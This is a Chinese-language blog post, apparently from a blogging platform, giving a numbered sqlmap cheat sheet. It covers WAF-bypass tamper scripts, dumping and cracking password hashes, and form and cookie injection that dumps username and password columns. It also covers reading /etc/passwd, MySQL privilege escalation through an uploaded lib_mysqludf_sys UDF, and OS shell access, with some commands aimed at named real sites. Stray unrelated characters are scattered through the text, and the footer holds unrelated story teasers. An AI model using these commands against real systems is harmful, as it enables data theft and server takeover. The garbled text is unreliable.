unionalltounion.py替換UNION ALLSELECT UNION SELECT

charencode.py url編碼

randomcase.py隨機(jī)大小寫(xiě)

unmagicquotes.py寬字符繞過(guò) GPCaddslashes

randomcomments.py用/**/分割sql關(guān)鍵字

charunicodeencode.py字符串 unicode 編碼

securesphere.py追加特制的字符串

versionedmorekeywords.py注釋繞過(guò)

space2comment.py替換空格字符串(‘‘) 使用注釋‘/**/’

halfversionedmorekeywords.py關(guān)鍵字前加注釋

2.?URL重寫(xiě)SQL注入測(cè)試

value1為測(cè)試參數(shù)窄锅,加“*”即可,sqlmap將會(huì)測(cè)試value1的位置是否可注入缰雇。

sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"

3. 列舉并破解密碼哈希值

? 當(dāng)前用戶有權(quán)限讀取包含用戶密碼的權(quán)限時(shí)酬滤,sqlmap會(huì)現(xiàn)列舉出用戶,然后列出hash寓涨,并嘗試破解。

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1

4. 獲取表中的數(shù)據(jù)個(gè)數(shù)

sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb

5.對(duì)網(wǎng)站secbang.com進(jìn)行漏洞爬去

sqlmap.py -u "http://www.secbang.com"--batch --crawl=3

6.基于布爾SQL注入預(yù)估時(shí)間

sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b --eta

7.使用hex避免字符編碼導(dǎo)致數(shù)據(jù)丟失

sqlmap.py -u "http://192.168.48.130/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

8.模擬測(cè)試手機(jī)環(huán)境站點(diǎn)

python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile

9.智能判斷測(cè)試

sqlmap.py -u "http://www.antian365.com/info.php?id=1"--batch --smart

10.結(jié)合burpsuite進(jìn)行注入

(1)burpsuite抓包氯檐,需要設(shè)置burpsuite記錄請(qǐng)求日志

sqlmap.py -r burpsuite抓包.txt

(2)指定表單注入

sqlmap.py -u URL --data“username=a&password=a”

11.sqlmap自動(dòng)填寫(xiě)表單注入

自動(dòng)填寫(xiě)表單:

sqlmap.py -u URL --forms

sqlmap.py -u URL --forms --dbs

sqlmap.py -u URL --forms --current-db

sqlmap.py -u URL --forms -D 數(shù)據(jù)庫(kù)名稱(chēng)--tables

sqlmap.py -u URL --forms -D 數(shù)據(jù)庫(kù)名稱(chēng) -T 表名 --columns

sqlmap.py -u URL --forms -D 數(shù)據(jù)庫(kù)名稱(chēng) -T 表名 -Cusername戒良,password --dump

12.讀取linux下文件

?sqlmap.py-u "url" --file /etc/password

13.延時(shí)注入

sqlmap.py -u URL --technique -T--current-user

14. sqlmap 結(jié)合burpsuite進(jìn)行post注入

結(jié)合burpsuite來(lái)使用sqlmap:

(1)瀏覽器打開(kāi)目標(biāo)地址http://www.antian365.com

(2)配置burp代理(127.0.0.1:8080)以攔截請(qǐng)求

(3)點(diǎn)擊登錄表單的submit按鈕

(4)Burp會(huì)攔截到了我們的登錄POST請(qǐng)求

(5)把這個(gè)post請(qǐng)求復(fù)制為txt, 我這命名為post.txt 然后把它放至sqlmap目錄下

(6)運(yùn)行sqlmap并使用如下命令:

./sqlmap.py -r post.txt -p tfUPass

15.sqlmap?cookies注入

sqlmap.py -u "http://127.0.0.1/base.PHP"–cookies "id=1"? –dbs –level 2

默認(rèn)情況下SQLMAP只支持GET/POST參數(shù)的注入測(cè)試,但是當(dāng)使用–level 參數(shù)且數(shù)值>=2的時(shí)候也會(huì)檢查cookie里面的參數(shù)冠摄,當(dāng)>=3的時(shí)候?qū)z查User-agent和Referer糯崎。可以通過(guò)burpsuite等工具獲取當(dāng)前的cookie值河泳,然后進(jìn)行注入:

sqlmap.py -u 注入點(diǎn)URL --cookie"id=xx" --level 3

sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username沃呢,password --dump

?16.mysql提權(quán)

(1)連接mysql數(shù)據(jù)打開(kāi)一個(gè)交互shell:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell

select @@version;

select @@plugin_dir;

d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

(2)利用sqlmap上傳lib_mysqludf_sys到MySQL插件目錄:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');

17.執(zhí)行shell命令

sqlmap.py -u "url" –os-cmd="netuser" /*執(zhí)行net user命令*/

sqlmap.py -u "url" –os-shell /*系統(tǒng)交互的shell*/

18.延時(shí)注入

sqlmap –dbs -u"url" –delay 0.5 /*延時(shí)0.5秒*/

sqlmap –dbs -u"url" –safe-freq /*請(qǐng)求2次*/

參考文章:

http://sqlmap.org/

https://github.com/sqlmapproject/sqlmap

https://github.com/sqlmapproject/sqlmap/wiki

https://sobug.com/article/detail/2

https://blog.xiaohack.org/1378.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市拆挥,隨后出現(xiàn)的幾起案子薄霜,更是在濱河造成了極大的恐慌,老刑警劉巖纸兔,帶你破解...
    沈念sama閱讀 211,639評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件惰瓜,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡汉矿,警方通過(guò)查閱死者的電腦和手機(jī)崎坊,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,277評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)洲拇,“玉大人奈揍,你說(shuō)我怎么就攤上這事曲尸。” “怎么了男翰?”我有些...
    開(kāi)封第一講書(shū)人閱讀 157,221評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵另患,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我奏篙,道長(zhǎng)柴淘,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,474評(píng)論 1 283
  • 正文 為了忘掉前任秘通,我火速辦了婚禮为严,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘肺稀。我一直安慰自己第股,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,570評(píng)論 6 386
  • 文/花漫 我一把揭開(kāi)白布话原。 她就那樣靜靜地躺著夕吻,像睡著了一般。 火紅的嫁衣襯著肌膚如雪繁仁。 梳的紋絲不亂的頭發(fā)上涉馅,一...
    開(kāi)封第一講書(shū)人閱讀 49,816評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音黄虱,去河邊找鬼稚矿。 笑死,一個(gè)胖子當(dāng)著我的面吹牛捻浦,可吹牛的內(nèi)容都是我干的晤揣。 我是一名探鬼主播,決...
    沈念sama閱讀 38,957評(píng)論 3 408
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼朱灿,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼昧识!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起盗扒,我...
    開(kāi)封第一講書(shū)人閱讀 37,718評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤跪楞,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后侣灶,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體习霹,經(jīng)...
    沈念sama閱讀 44,176評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,511評(píng)論 2 327
  • 正文 我和宋清朗相戀三年炫隶,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了淋叶。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,646評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡伪阶,死狀恐怖煞檩,靈堂內(nèi)的尸體忽然破棺而出处嫌,到底是詐尸還是另有隱情,我是刑警寧澤斟湃,帶...
    沈念sama閱讀 34,322評(píng)論 4 330
  • 正文 年R本政府宣布熏迹,位于F島的核電站,受9級(jí)特大地震影響凝赛,放射性物質(zhì)發(fā)生泄漏注暗。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,934評(píng)論 3 313
  • 文/蒙蒙 一墓猎、第九天 我趴在偏房一處隱蔽的房頂上張望捆昏。 院中可真熱鬧,春花似錦毙沾、人聲如沸骗卜。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,755評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)寇仓。三九已至,卻和暖如春烤宙,著一層夾襖步出監(jiān)牢的瞬間遍烦,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,987評(píng)論 1 266
  • 我被黑心中介騙來(lái)泰國(guó)打工躺枕, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留服猪,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,358評(píng)論 2 360
  • 正文 我出身青樓屯远,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親捕虽。 傳聞我的和親對(duì)象是個(gè)殘疾皇子慨丐,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,514評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容